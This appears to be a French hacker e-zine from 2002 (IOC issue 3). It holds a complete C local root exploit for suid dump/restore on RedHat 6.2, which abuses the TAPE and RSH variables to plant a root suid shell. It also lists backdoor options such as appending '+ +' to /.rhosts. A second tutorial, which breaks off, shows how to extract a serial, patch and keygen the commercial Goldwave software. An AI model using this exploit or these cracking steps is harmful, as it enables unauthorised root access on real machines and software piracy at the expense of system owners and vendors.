Input Output Corporation http://ioc.multimania.com P r e s e n t s __ __ __ ___ __ __ ________ | || '_ \ / _ \ | | | ||_ _| ___ | || | | || __/ | '-' | | | / _ \_/\ |__||__| |__||__| \______| |__| \/ \___/ ___ __ __ ________ ___ __ __ ________ / \ | | | ||_ _ |/ - \| | | ||_ _| | [ ] || - | | | | __/| '-' | | | \_____/ \______| |__| |__| \______| |__| __ ____ __ __ _ ___ __ _ _____ __ __ __ __ | '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \ | | | | | || [ ] || [ ] || [ ] | / /_ | || | | || _ / |__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____| |__/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Issue#3 v1.0 1er Avril 2002 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ---------------------------------------------------------------------------------------- >>> EDITO <<< IOC Staff ---------------------------------------------------------------------------------------- Pour commençer, je tiens à préciser que je vous ferai grâce du désormais célèbre et rébarbatif << poisson d'avril >> dont le sens m'échappe encore aujourd'hui. C'est d'ordinaire MeiK ( anciennement Lex Icon ) qui prend la plume pour ce qui est de l'edito, mais au vu des circonstances, c'est moi même ( Neofox ) qui m'y colle pour une fois ; en effet, comme vous aurez l'occasion de le constater en prennant conaissance du sommaire, MeiK a été pas mal occupé ces derniers mois et n'a pas disposé de tout le temps qu'il aurait souhaité. Aussi sa participation à cette nouvelle issue est elle relativement réduite. Il vous explique cela un peu plus longuement à la fin de ce mag. Enfin, ce n'est pas là toute l'actualité du groupe : en effet, suite à notre changement de nom il y presque trois mois, nous nous sommes restructuré et de la formation initiale, restent MeiK et moi même ; Peu aprés, deux nouveaux membres ont rejoint l'équipe : Emper0r et Disk-Lexic ; c'est donc aujourd'hui leur première participation au magazine, et leur apprort respectif en matière de prog. et de cracking a contribué à etoffer le sommaire. Par ailleurs, je dois vous signaler que MeiK a réalisé un petit document destiné aux newbies ; nous ne l'avons pas mis dans le mag car il risquait de dépareiller mais vous pouvez le trouver ici : ioc.multimania.com/mag/issue3/newbies-faq.txt. Je vais profiter de cet edito pour saluer Abël et Jamu (http://hianda.fr.st) qui se sont lançé de leur coté dans une aventure semblable à la nôtre, bonne chance! Une autre information et pas des moindres : Androgyne, ex-membre de la RtC, nous a fait le plaisir de collaborer à cette issue ! Je vous laisse découvrir son travail dont elle nous à réservé l'exclusivité, un peu plus loin dans le mag ; Merci à toi ! En avant donc, pour cette nouvelle issue, et bonne lecture ! ---------------------------------------------------------------------------------------- >>> AVERTISSEMENT <<< IOC Staff ---------------------------------------------------------------------------------------- Plutôt par tradition que par nécessité ... Est-il besion de vous rappeler que les articles qui vont suivre ne sont ici que dans un but ludique ? Cela va de soi, et vous y êtes habitué je pense. Nous déclinons donc toute responsablité quant l'utilisation qui pourrait en être fait par des individus aux moeurs plus que douteuses, qui se reconnaîtront. Comme toujours, si vous ou l'un de vos collaborateurs étaient pris ou tué, le Département d'Etat niera avoir eut conaissance de vos agissements. ---------------------------------------------------------------------------------------- >>> ON RECRUTE ! <<< IOC Staff ---------------------------------------------------------------------------------------- Nous sommes à présent 4 à prendre part à l'écriture de ce mag ; c'est mieux, mais c'est peu ; et comme on dit, plus on est de fous rit ! On voudrait qu'à terme ce mag soit l'occasion d'une collaboration entre de nombreux passionnés, tous domaines confondus, secu/intrusion, cracking, phreaking et coding en tous genres. C'est pour cela qu'on recrute, encore et toujours. Nous recherchons ... vous savez ce que nous recherchons ; des gens passionnés, comme on vient de le dire, qui possèdent d'assez bonnes conaissances en C/C++, ASM, Perl, Réseaux, Secu/Intrusion, Crypto, Phreaking etc...Pour ceux qui seraient souhaiteraient se joindre à nous, envoyez nous un mail en expliquant qui vous êtes et vos motivations. ___ ___ __ ____ __ __ ____ __ __ _ __ ____ __ / __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \ \__ \| [ ] || | | | | || | | | | || [ ] || || | | - / |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____| ------------------------------------------------------------ | Auteur | n° | T i t r e | ------------------------------------------------------------ | Neofox |I. | Redhat Linux : Dump | ------------------------------------------------------------ | Emper0r |II. | Cracking : Goldwave4.21 | ------------------------------------------------------------ | Androgyne |III. | Crypto : Penelope | ------------------------------------------------------------ | Disk-Lexic |IV. | Programmation Win32asm Part1. | ------------------------------------------------------------ | MeiK |V. | Petit Script Utile | ------------------------------------------------------------ | Neofox |VI. | Prog. Log Cleaners | ------------------------------------------------------------ | Neofox |VII. | Getafix V1.0 | ------------------------------------------------------------ | Emper0r |VIII.| Windows's Notepad | ------------------------------------------------------------ | Neofox |IX. | Backpass.c | ------------------------------------------------------------ | Neofox |X . | Profil : Neofox | ------------------------------------------------------------ | IOC Staff |XI. | Contacts | ------------------------------------------------------------ -=-=-=-=-=-=-=-=-=-=-=- Contenu de l'archive -=-=-=-=-=-=-=-=-=-=-=- ¤ ioc3.txt ¤ goldwave.zip ¤ penelope.zip ---------------------------------------------------------------------------------------- I. RedHat Linux : dump & restore par Neofox ---------------------------------------------------------------------------------------- [ Introduction ] Nous allons parler d'un utilitaire présent sous linux auquel il est possible de faire exécuter nos propres commandes avec les privilèges root. Cette vulnérabilitée n'est pas trés détaillée, et les quelques textes qui y font référence n'abordent que l'aspect "exploit", mais je pense qu'il aussi instructif d'étudier le fonctionnement normal du programme en cause, afin de comprendre en quoi il peut être exploitable. On va donc voir en premier lieu à quoi sert ce programme, comment il s'utiliser, puis pourquoi est-ce qu'il est vulnérable, pour enfin expliquer comment écrire son "exploit" - décidemment, j'aime pas ce terme ". ++++ | Partie I : Dump en détail | ++++ => dump & restore => en remote 1. Dump & Restore : ___________________ [ Dump ] Il s'apelle dump, on le trouve sous linux dans /sbin. C'est un utilitaire de sauvegarde, dont voici un exemple de syntaxe: [root@localhost]# mkdir /test [root@localhost]# cd /test [root@localhost]# touch file1 file2 file3 file4 [root@localhost]# ls file1 file2 file3 file4 [root@localhost]# <= nous avons crée nos fichiers exemples, reste a les sauvegarder. [root@localhost]# dump 0f /backup /test DUMP: Date of this level 0 dump: Thu Feb 14 21:35:06 2002 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda5 (/ (dir test)) to /backup DUMP: Label: none DUMP: [...] DUMP: finished in 1 seconds, throughput 321 KBytes/sec DUMP: Average transfer rate: 321 KB/s DUMP: DUMP IS DONE [root@localhost]# Voila, nous avons sauvegardé les fichiers de /test dans /backup : [root@localhost]# ls -al /backup -rw-r--r-- 1 root root 327680 fév 14 21:35 /backup [root@localhost]# Comme vous pouvez le voir ici, backup est un fichier et non un répertoire, contrairement à ce qu'on pourrait croire. En somme, tout le contenu de notre répertoire /test est à présent stocké dans "backup". Ainis, supposons que les fichiers de /test soient altérés ou détruits, vous seriez alors a même de les restaurer en intégralité, cela grâce à la commande 'restore' que nous verrons plus loin. La commande que nous avons utilisée est : # dump 0f /backup /test ¤ '0' désigne le niveau de sauvegarde. Ce chiffre peut varier entre 0 et 9. Plus le chiffre est petit, plus la sauvegarde sera complète. le niveau 0 correspond à une sauvegarde complète. Les niveaux 1 à 9 quant à eux, ne sauvegarderont que les fichiers modifiés depuis la dernière sauvegarde d'un niveau inférieur. ¤ L'option 'f' précède le nom du fichier de destination, dans lequel on va effectuer la sauvegarde. D'autres options sont disponnibles, mais je vous renvoie aux pages de man pour plus d'infos. ¤ backup est le fichier dans le quel va être effectué la sauvegarde. Je l'ai mis dans / mais vous pouvez tout aussi bien effectuer la sauvegarde ailleurs. ¤ /test est le répertoire qui va être sauvegardé par dump. Le fichier /etc/dumpdates enregistre les dates des sauvegardes. De cette manière dump peut prendre conaissance de la date de la dernière sauvegarde pour déterminer quels fichiers on été changés depuis. Il va ne va donc sauvegarder que les denières modifications, ceci biensur dans le cas où vous utilisez un autre niveau de sauvegarde que le niveau 0. Vous avez sauvegardé les fichiers vitaux de votre système, comme par exemple /etc. S'il vous arrivait par la suite, d'endomager involontairement un fichier clé, par erreur, genre : [root@localhost]# rm -f /etc/passwd* <= Oups !? Bon, ça c'est l'exemple à la con, mais tout ça pour dire que si un de ces fichiers est altéré, il serait alors possible de restaurer le contenu du répertoire à partir de vôtre sauvegarde, et ceci grâce à un outil nommé "restore". [ restore ] /sbin/restore permet comme son nom l'indique et comme nous l'avons déja dit, sert à restaurer un système de fichiers à partir de la dernière sauvegarde qui en a été faite. Voici un exemple d'utilisation, on continue avec l'exemple précédent : [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# rm -f test3 test4 [root@localhost]# ls test1 test2 [root@localhost]# <= on a volontairement supprimé les fichiers 3 et 4 que nous avions préalablement sauvegardé. [root@localhost]# cd / [root@localhost]# pwd / [root@localhost]# restore rf /backup /test [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# <= Les fichiers que nous avions supprimé il y a 10 sec viennent d'être restaurés en fonction de la sauvegarde qui en avait été faite avec dump. La syntaxe de restore que nous avons utilisée est : [root@localhost]# restore rf /backup /test ¤ 'r' signifie que l'on demande un restauration compléte du système de fichiers à partir de la sauvegarde. ¤ 'f' permet de spécifier le fichier de sauvegarde à utiliser pour la restauration. En l'occurence, il s'agit de /backup. ¤ /backup, comme nous venons de le dire, est le fichier de sauvegarde que nous avons réalisé tout à l'heure avec dump. ¤ /test est le système de fichier qui a été altéré, ou que l'on veut remettre en plaçe selon une ancienne configuration. Pour plus de détails sur les options de restore, même topo que pour dump, reportez vous à man. Voila, nous avons vu comment fonctionnent restore et dump, dumoins pour ce qui est de l'utilisation locale ... 2. En Remote : _______________ Eh oui, comme le laissait entendre ma dernière phrase, dump et restore sont également prévus pour une utilisation à distance. En effet, il est possible de sauvegarder une partie du disque local sur le disque ou sur le /dev/st0 (tape) d'une machine distante. De même, on peut restaurer un système de fichier à partir d'une sauvegarde distante. Il faut être root pour effectuer une sauvegarde/restauration en remote. [ Fonctionnement ] Pour reprendre mon exemple de tout à l'heure, nous allons sauvegarder le contenu du répertoire /test dans le fichier nommé "backup" et situé à la racine d'une machine distante que l'on apellera "machine.distante.com" ( je me suis visiblement pas trop foulé pour le nom ... ) : [root@localhost]# dump 0f machine.distante.com:/backup /test DUMP: Date of this level 0 dump: Sun Feb 17 19:27:30 2002 DUMP: Date of last level 0 dump: Thu Feb 14 21:35:06 2002 DUMP: Dumping /dev/hda5 (/ (dir test)) to machine.distante.com:/backup DUMP: Label: none DUMP: [...] DUMP: finished in 1 seconds, throughput 321 KBytes/sec DUMP: Average transfer rate: 321 KB/s DUMP: DUMP IS DONE [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# rm -f test3 test4 [root@localhost]# ls test1 test2 [root@localhost]# cd ../ [root@localhost]# restore -rf machine.distante.com:/backup /test [root@localhost]# cd /backup [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# echo "tous nos fichiers sont de nouveau là ;@)" tous nos fichiers sont de nouveau là ;@) [root@localhost]# Effectuer des backups en remote sur une machine distante suppose d'y être autorisé ... Ce sont donc les fichiers .rhosts qui vont être utilisés par la machine distante pour authentifier le client et déterminer déterminer s'il peut oui ou non y effectuer une sauvegarde. Lorsque l'option 'f' n'est pas spécifiée dans le cas d'une sauvegarde ou d'une restauration à distance, dump & restore explorent le contenu de deux varaibles d'environement : TAPE et RSH. [ TAPE ] La variable TAPE permet à dump et restore de déterminer le nom du fichier de sauvegarde, ainis que le nom de la machine sur laquelle ou depuis laquelle la sauvegarde doit être sotckée ou restaurée. Le contenu de cette variable est du type "machine:/fichier_backup" ou encore "user@machine:/fichier_backup". La variable TAPE doit donc contenir le caractère séparateur ":". Si cette varaible est déclarée, dump et restore explorent alors le contenu de la variable RSH. [ RSH ] Aprés avoir déterminé le nom de la machine et du fichier distant, dump et restore doivent connaître le nom du remote shell à invoquer pour effectuer la backup ; par remote shell, j'entends rlogin/rsh/ssh. En d'autres termes, dump va exécuter le contenu de cette variable. ++++ | Partie II : Exploiter dump & restore | ++++ => Explications => Programmation => env.c [ Avertissement ] Nous venons de voir comment fonctionnent les utilitaires dump et restore dans le cadre d'une utilisation locale et à distance. Si nous en sommes arrivés là, c'est pour parler de la manière de les détourner pour gagner un accès root. Et c'est là que je dois préciser quelque chose : je n'ai rien inventé ; la découverte de cette vulnérabilité n'est pas de moi, d'ailleurs je ne prétends pas qu'il en soit autrement, qu'il n'y ait pas de mal entendu ! Autre chose : dans un de ses articles, par ailleurs excellents, Sauron fait référence à cette faille en guise d'exemple, pour illustrer les problèmes dus aux varaibles d'environement ; je ne fais ici que détailler le fonctionnement des deux variables en cause et proposer un petit cours sur l'excriture de l'exploit qui s'y rapporte, sans plus. Puisque tout est clair à présent, nous pouvons continuer. 1. Explications : _________________ Le but est de faire exécuter à dump nos propres commandes avec les privilèges root. Il faut pour cela que dump soit suid, de même que restore. On sait que, lors d'une demande de sauvegarde à distance, dump fait appel aux variables TAPE et RSH pour savoir où envoyer la sauvegarde et via quel remote shell exécuter la demande. L'idée est de faire passer à $RSH notre propre commande, pour que celle-ci soit exécutée par dump. Il faut pour cela remplir la variable $TAPE comme s'il s'agissait d'une sauvegarde à distance, donc avec un truc comme "machine:/file". Si cette variable est déclarée, dump ( ou restore ) va alors exécuter le contenu de $RSH. En faisant exécuter à $RSH notre propre script, on peut se créer un shell suid, ou mettre /etc/passwd en lecture écriture, ou encore faire "echo + + >> /.rhosts", mais le shell suid reste le plus discret. Bien évidemment, on peut faire notre manip manuellement, mais c'est tellement plus marrant la programmer ... question de point de vue ! [ Qui est vulnérable ? ] Cette vulnérabilité de dump/restore est présente par défaut sur les RedHat 6.2. J'ai pu constater sur ma Rh7.0 que le problème était corrigé. /sbin/dump n'était pas suid à l'origine, je l'ai donc mis au mode 6755 pour voir s'il y avait moyen d'en abuser ; en tant que simple utilisateur, on peut toujours faire exécuter des commandes à dump, mais les privilèges root ne s'appliquent pas, même si ce dernier est suid. En effet, les versions vulnérables sont "dump-0.4b15x" et "restore-0.4b15x", et ce sont ces dernières que l'on trouve sur les 6.2 par défaut. Si votre machine semble présenter cette vulnérabilité, deux solutions s'offrent à vous pour remédier au problème : chmod -s /sbin/dump /sbin/restore et mise à jour des packages. 2. Programmation : __________________ On va procéder par étapes : ¤ Etape 1 : on s'assure que dump et restore sont suid. ¤ Etape 2 : on crée un script contenant nos commandes. ¤ Etape 3 : on rend notre script exécutable. ¤ Etape 4 : on déclare la variable TAPE="test:test". ¤ Etape 5 : on déclare RSH pour lançer notre script. ¤ Etape 6 : Enfin, exécute au choix dump ou restore. [ Etape 1 ] Bien, commençons par le commençement ; on va controler que dump ou restore ou les deux sont bien présents et si c'est le cas, qu'ils sont bien suid. On va pour cela utiliser la fonction : stat(). Il faut au préalable déclarer le fichiers "sys/stat.h", "sys/types.h" et "unistd.h". La fontction stat() utilise une structure du type "stat" pour donner des informations relatives à un fichier. Voici la composition siplifiée de la structure stat : struct stat { mode_t st_mode /* Bits de permission de l'objet */ uid_t st_uid /* uid du fichier */ gid_t st_gid /* sont gid */ time_t st_ctime /* heure de la dernière modification */ } En réalité, la sturcutre stat est plus complexe, mais voici de quoi nous occuper. Ce qui nous intéresse ici, c'est le champ st_mode, puisqu'il va nous permettre de connaître le mode de dump/restore, afin de déterminer s'ils sont suid ou non. Compilez et d'exécutez le code suivant : ---------8<---------------------------------------------------------- #include #include #include #include sturct stat status; int main (int argc, char *argv[]){ if(argc!=2){ fprintf(stderr,"Usage : %s file\n", argv[0]); exit(1); } if(stat(argv[1],&status)!=-1){ fprintf(stdout,"Le mode de %s est %d\n",argv[1],status.st_mode); } else { fprintf(stderr,"%s n'existe pas !\n", argv[1]); exit(-1); } } ---------8<---------------------------------------------------------- Si voulez afficher le mode d'un binaire suid, vous remarquez que les nombres qui aparaissent ne sont pas comme on pourrait s'y attendre les traditionnels 04755, 06755 et autres. Nous voulons que dump soit suid et généralement, lors qu'il l'est par défaut, on le trouve au mode 04755 ou 06755 ; voici donc la correspondance entre la valeur générée par stat(), le mode littéral et le mode octal. Un exemple : -rwsr-sr-x 06755 => 36333 -rwsr-xr-x 04655 => 35309 Vous voyez que les valeurs générées par stat() sont bien différentes des modes habituels. On peut également utilser d'autres valeurs correspondant à d'autres modes où l'exécutable est suid. Dans tous les cas, il faut pour que dump soit exploitable, que dump apartienne au root. Nous allons plaçer le code suivant pour contrôler que l'exécutable ait les bons droits : if((status.st_mode!=36333)&& (status.st_mode!=36351)&& (status.st_mode!=35309)&& (status.st_mode!=35145)){ fprintf(stderr,"/sbin/dump n'est pas suid, exiting!\n",); exit(-1); } [ Etape 2 et 3 ] Nous voulons un shell suid. On va dans un premier temps créer un script avec nos commandes. Exemple : $ echo "cp /bin/sh $HOME/shell" > /tmp/script $ echo "chmod 6755 $HOME/shell" >> /tmp/script $ chmod +x $HOME/shell Ce qui donne en C : fd=fopen(SCRIPT, "w"); fprintf(fd,"#!/bin/sh\n"); fprintf(fd,"cp /bin/sh %s\n",SHELL); fprintf(fd,"chown root %s\n",SHELL); fprintf(fd,"chgrp root %s\n",SHELL); fprintf(fd,"chmod 6755 %s\n",SHELL); fprintf(fd,"rm -f %s\n", SCRIPT); fclose(fd); chmod(SCRIPT,00555); [ Etape 4 et 5 ] On s'occupe de $TAPE et $RSH : setenv("TAPE","test:test",0); setenv("RSH",SCRIPT,0); [ Etape 6 et 7 ] Voila, les conditions sont réunies, nos variables déclarées et notre script fin prêt à être exécuté : reste à apeller dump : system("dump -0 /nimportequoi"); Notre script a été exécuté avec les propriétés du root, et nous a crée un shell suid dans notre homedir. Si tout s'est bien passé, nous devrions avoir accès au compte root. Comme vous pouvez le constater, c'est relativement simple, encore fallait il connaître le fonctionnement des programmes en cause. 3. env.c : __________ Voici en guise d'illustration "l'exploit" en C pour cette vulnérabilité. Je tiens à nouveau a preciser que je la découverte de cette faille n'est pas de moi ; je n'ai rien inventé et donc aucun mérite ; j'ai simplement détaillé une vulnérabilité a laquelle Sauron faisait référence dans l'un de ses articles, et transposé la manip en C. Ah, j'oubliais : j'ai utilisé des sleep() ici, mais c'est juste pour faire joli lors de l'exécution ... ---------8<---------------------------------------------------------- /* Simply exemple of dump exploit * -by the guy who wrote this * Copyright © 2002 nobody */ #include /* printf, fprintf */ #include /* fopen, fclose */ #include /* sleep */ #include /* setenv, getenv, unsetenv */ #include /* stat */ #include /* stat */ #include /* stat */ #define CMD "dump -0 /null" /* used to run dump */ #define SHELL "$HOME/shell" /* suid shell */ #define DUMP "/sbin/dump" /* what ? */ #define SCRIPT "/tmp/script" /* script run by dump */ #define TAPEVALUE "test:/test" /* $TAPE */ FILE *fd; char buf[50]; struct stat status; int main ( int argc, char *argv[] ){ if(argc!=1){ fprintf(stderr,"Usage : %s\n", argv[0]); exit(-1); } fprintf(stderr,"*** Dump | Restore simply exploit ***\n"); fprintf(stderr,"[1]-Checking dump ..."); sleep(1); if (stat(DUMP,&status)==-1 ){ fprintf(stderr,"error!\n"); fprintf(stderr,"[*]-Can't find %s , exiting!\n",DUMP); exit(-1); } else { if((status.st_mode!=36333)&& (status.st_mode!=36351)&& (status.st_mode!=35309)&& (status.st_mode!=35145)){ fprintf(stderr,"error!\n"); fprintf(stderr,"[*]-%s n'est pas suid, exiting!\n",DUMP); exit(-1); } else fprintf(stdout," done!\n"); } fprintf(stderr,"[2]-Creating %s ...", SCRIPT);sleep(1); fd=fopen(SCRIPT, "w"); fprintf(fd,"#!/bin/sh\n"); fprintf(fd,"cp /bin/sh %s\n",SHELL); fprintf(fd,"chown root %s\n",SHELL); fprintf(fd,"chgrp root %s\n",SHELL); fprintf(fd,"chmod 6755 %s\n",SHELL); fprintf(fd,"rm -f %s\n", SCRIPT); fclose(fd); chmod(SCRIPT,0555); fprintf(stderr," done!\n"); system("ls -al /tmp/script"); fprintf(stderr,"[3]-Setting TAPE and RSH ...");sleep(1); setenv("RSH",SCRIPT,0); setenv("TAPE",TAPEVALUE,0); fprintf(stderr," done!\n"); fprintf(stderr,"[4]-We're ready : running %s ...\n",DUMP);sleep(1); system(CMD); fprintf(stderr,"[5]- Allright, exiting!\n"); sprintf(buf,"ls -al %s",SHELL); system(buf); return 0; } ---------8<---------------------------------------------------------- [ Conclusion ] Pourquoi avoir parlé de cette vulnérabilité ? Je sais pas ; sûrement parceque je trouve le concept assez sympathique, question de point de vue ; et en théorie, pas besoin d'avoir recours à la prog. C, mais bon ... on aime ça non ? -------------------------------------------------------------------------------------------------- II. Cracking : Goldwave4.21 Emper0r -------------------------------------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++ +++ Fichier Joint : goldwave.zip +++ ++++++++++++++++++++++++++++++++++++ [ Introduction ] Pour mon premier article je vais vous parler de cracking, notre cible serat Goldwave4.21 un petit outil de retouche de musique sympa, on peut le trouver sur http://www.goldwave.com. Je me suis aperçu après avoir fait ce tuto qu'une version plus récente était dispo sur le site. Cela ne change rien les routines d'enregistrement sont les même, seul les offset change et quelques petits détails. ¤ Protection: Rien en particulier, le serial est enregistré dans un fichier .ini et est testé a chaque démarage ¤ Outils : Wdasm32, Softice, un editeur hexa, procdump, un compilateur asm (TASM), un compilateur pascal ¤ Objectifs: Trouver un serial valide, présentation du RE, faire un Keygen, patcher le prog. Ce tuto s'adresse aux newbies mais je considère que vous avez deja quelques base en asm, que vous avez deja utilisé softice et Wdasm. ++++ | Partie I : Trouver un serial valide | ++++ Pour commencer on lance le programme qui nous dit que cette version est une version shareware et que l'on doit s'enregistrer etc.... Bon on va dans option puis Register et on met des valeurs bidon dans la boite. La on n'appuie pas sur OK de suite, on fait surgir Softice (Ctrl+d) et on pose un breakpoint. On tape bpx hmemcpy suivit de Entrée puis F5, ceux qui nous fait revenir a goldwave on appuis sur OK. La softice break normalement, 2 pression sur F5 pour enregistrer toutes les données de la boite d'enregistrement. Au bout de quelques F12 on arrive ici: :004623F7 E818F8FFFF call 00461C14 ;Analyse le serial :004623FC 59 pop ecx :004623FD 84C0 test al, al ;Teste si al=00 :004623FF 0F8597000000 jne 0046249C ;al=01, sérial correct ; on saute en 46249C * Possible StringData Ref from Data Obj ->"Register" | :00462405 8B1518204F00 mov edx, dword ptr [004F2018] :0046240B 8B4E43 mov ecx, dword ptr [esi+43] :0046240E 8B01 mov eax, dword ptr [ecx] :00462410 6A30 push 00000030 :00462412 52 push edx * Possible StringData Ref from Data Obj ->"Invalid registration. Please " ->"be sure to enter your name and " ->"password exactly as given in the " ->"license." :00462413 6805254F00 push 004F2505 :00462418 8B500C mov edx, dword ptr [eax+0C] :0046241B 52 push edx :0046241C 8B4868 mov ecx, dword ptr [eax+68] :0046241F 51 push ecx :00462420 E8176F0200 call 0048933C ;Va ouvrir la messagebox Bon ben la je voit pas comment ca peut être plus clair :) A la ligne 4623FD, le prog teste le contenu de AL, si Al = 00 le saut en 4623FF ne ce fait pas, et on voit en 462420 le call qui va nous ouvrir la messagebox pour nous dire que notre code est incorrect. On peut donc supposer que le call en 4623F7 va placer 01 ou 00 dans AL suivant que notre code est valide ou pas. On va pas rentrer dans le call en 4623F7 tout de suite ; on le passe en faisant F10 au lieu de F8, une fois arrivés en 4623FC on regarde ce qui a changé dans les registres, en faisant D EDX on trouve quelque chose qui ressemble vraiment a un serial. On note ce sérial on enlève les breakpoints: BC*, et on sort de Softice: F5. On teste notre serial en remettant le même Firt&Last Name et le password trouvé, on appui sur ok et voilà on est register. C'est de la rigolade, le serial est meme pas effacé avant de sortir du call. C'est pas la peine d'essayer d'inverser le saut en 4623FF pour lui faire accepter tout les serials, car le serial ainsi que notre First&Last name sont enregistré dans un fichier .ini (c:\windows\goldwave.ini). Le prog va lire a sont prochain lancement, les donné enregistré dans ce fichier et il va voir que le sérial est incorrect. En plus inverser un saut sans chercher à aller plus loin est vraiment ce qui as de plus nul a faire dans ce cas. On verra plus tard comment patcher pour lui faire accepter tout les serials, et patcher pour qu'il soit enregistré sans même mettre de sérial. Bon voilà j'ai expliqué rapidement cette première parti car ca me parait très simple. ++++ | Partie II : Présentation du Reverse Engineering | ++++ On va faire un peu de RE, bien que là ce soit tellement simple et classique que l'on ne peut pas vraiment parler de RE. On va transformer le programme pour que au lieu qu'il nous affiche la fenêtre disant code incorrect il nous donne le serial valide : * Possible StringData Ref from Data Obj ->"Register" :00462405 8B1518204F00 mov edx, dword ptr [004F2018] :0046240B 8B4E43 mov ecx, dword ptr [esi+43] :0046240E 8B01 mov eax, dword ptr [ecx] :00462410 6A30 push 00000030 :00462412 52 push edx * Possible StringData Ref from Data Obj ->"Invalid registration. Please " ->"be sure to enter your name and " ->"password exactly as given in the " ->"license." :00462413 6805254F00 push 004F2505 :00462418 8B500C mov edx, dword ptr [eax+0C] :0046241B 52 push edx :0046241C 8B4868 mov ecx, dword ptr [eax+68] :0046241F 51 push ecx :00462420 E8176F0200 call 0048933C ;Va ouvrir la messagebox On sait que avant la ligne 462405 EDX pointe vers notre serial valide, on voit en 462412 que le titre de la fenêtre serat ce que pointe EDX, en 462405 EDX est initialise il suffit de nopper (nopper = remplacer certain octet par un: NOP -> No Operation) toutes cette ligne, donc EDX pointera toujours vers le sérial. Pour que se soit plus joli on inverse le push EDX en 462414 par le push 4F2505 comme sa le serial ce trouve dans la messagebox et pas comme titre. On va aussi avec un éditeur hexa Remplacer le "Invalid Registration. Please...." par "Votre code d'enregistrement est : " puis une série de 00. Voilà ce que sa donne : :004623FD 84C0 test al, al :004623FF 0F8597000000 jne 0046249C :00462405 90 nop :00462406 90 nop :00462407 90 nop :00462408 90 nop :00462409 90 nop :0046240A 90 nop :0046240B 8B4E43 mov ecx, dword ptr [esi+43] :0046240E 8B01 mov eax, dword ptr [ecx] :00462410 6A00 push 00000000 * Possible StringData Ref from Data Obj ->"Votre code d'enregistrement est " ->":" :00462412 6805254F00 push 004F2505 :00462417 52 push edx Mouarff c'est plutôt bourrin et surtout dégueulasse ;) mais ca marche et puis c'est juste pour faire une petite présentation au RE ;-). Maintenant lorsque que l'on entre un pass incorect le programme affiche une fenêtre pour nous donner le serial valide calculer en fonction de notre first & last name. C'était encore très simple mais marrant a faire, maintenant on passe aux choses sérieuses: le Keygen. ++++ | Partie III : Le Keygen | ++++ Ce programme est idéal pour le newbies, la génération du sérial est simple, juste des calculs qui ce suivent. Pour les keygen je préfère souvent tracer le prog avec le debugeur de Wdasm plutot que softice. De toute facon Wdasm ou softice ca change rien une fois que l'on a poser le breakpoint. Pour placer un breakpoint sur le call 00461C14, a la ligne 004623F7: ¤ Avec Wdasm: Sous Wdasm: menu debug----> Load process et on appuis sur OK. Ensuite Goto--->Code location--->4623F7 pour ce placer sur le call. Une fois ici on appui sur F2 pour placer un Breakpoint. La il faut taper F9 pour lancer le programme. ¤ Avec softice Il faut d'abord changé le flags de la section .text pour que softice puisse breaker. Pour faire ca on prend ProcDump on clique sur PE editor, on ouvre notre prog, on clique sur sections. La on fait clik bouton droit sur .text pour aller dans edit section. Il faut changer Sections characteristiques: 60000020 en E0000020. On ouvre notre prog avec le symbol loader, on le lance softice break direct, il reste plus qu'a taper Bpx 4623F7, Entrée et F5, le programme ce lance. Notre prog est lancé ; on va dans option---> register : Là je rentre First name: EMPER0R Last Name: C0RTEX et Password: 123456 ; je click sur ok et notre debuggeur break. Maintenant je vais expliquer, en simplifiant, seulement les parties du code qui nous intéressent vraiment. :00461B40 0FBE0A movsx ecx, byte ptr [edx] -->EDX pointe sur la dernière lettre de EMPER0R, le R ; on place son code ascii dans ECX. ECX=52 :00461B43 03C8 add ecx, eax -->Ajoute le nombre de lettre restant à traiter avec la valeur ascii ECX=52+6=58 :00461B45 03D9 add ebx, ecx -->On sauvegarde ECX dans EBX :00461B47 4A dec edx -->Décrémente le nombre de lettre. :00461B48 8BC8 mov ecx, eax -->Sert a tester si il reste des :00461B4A 83C0FF add eax, FFFFFFFF -->lettres a traiter. :00461B4D 85C9 test ecx, ecx -->Si oui alors on revient en :00461B4F 75EF jne 00461B40 -->461B40 Explication: Additionne la valeur ascii de chaque caractères de First Name avec le nombre de lettre de cette chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les lettres EBX=210 Même routine pour le Last Name que Pour le Firts Name: :00461B72 0FBE0A movsx ecx, byte ptr [edx] :00461B75 03C8 add ecx, eax :00461B77 03F1 add esi, ecx :00461B79 4A dec edx :00461B7A 8BC8 mov ecx, eax :00461B7C 83C0FF add eax, FFFFFFFF :00461B7F 85C9 test ecx, ecx :00461B81 75EF jne 00461B72 Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de lettre de cette chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les lettres ESI=1C5 :00461B83 8B4508 mov eax, dword ptr [ebp+08] --> Pointe sur EMPER0R :00461B87 E804DB0600 call 004CF690 -->Ce call est une fonctions permettant de récupérer la longueur d'une chaine pointée par eax, le résultat est place dans eax :00461B8C 8BF8 mov edi, eax -->Le résultat dans EDI, EDI=7 :00461B8E 8B4508 mov eax, dword ptr [ebp+08] -->Pointe sur C0RTEX :00461B91 83C019 add eax, 00000019 --> :00461B96 E8F5DA0600 call 004CF690 -->Récupère la longueur de la chaîne et la place dans EAX, EAX=6 :00461B9B 03F8 add edi, eax -->Ajoute les longues des chaines, EDI=6+7=D :00461B9E 8BC7 mov eax, edi -->Place EDI dans EDX :00461BA0 8BD0 mov edx, eax --> :00461BA5 C1E204 shl edx, 04 -->Déplace la valeur de EDX de 4 bits vers la gauche, EDX=D0 :00461BA8 8D1452 lea edx, dword ptr [edx+2*edx] -->EDX = EDX+2*EDX :00461BAB 8D1492 lea edx, dword ptr [edx+4*edx] -->EDX = EDX+4*EDX :00461BAE 8D1492 lea edx, dword ptr [edx+4*edx] -->EDX = EDX+4*EDX :00461BB1 8D1492 lea edx, dword ptr [edx+4*edx] 